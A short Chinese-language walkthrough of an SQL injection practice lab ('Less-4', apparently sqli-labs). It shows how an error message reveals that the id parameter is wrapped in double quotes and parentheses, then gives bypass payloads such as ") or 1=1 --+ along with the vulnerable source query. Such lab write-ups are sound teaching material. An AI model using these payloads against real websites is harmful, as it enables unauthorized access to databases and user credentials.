Less-4
我们使用?id=1"
注入代码后,我们得到像这样的一个错误:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
这里它意味着,代码当中对id参数进行了 "" 和 () 的包装。
所以我们再用这样的代码来进行注入:
?id=1") –-+
这样一来,我们便可以得到用户名和密码了,同时后面查询也已经被注释掉了。
在源代码中的SQL查询语句,31行:
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
可以成功注入的有:
") or "1"=("1
") or 1=1 --+
其余的payload与less1中一直,只需要将less1中的 ' 更换为 ") 。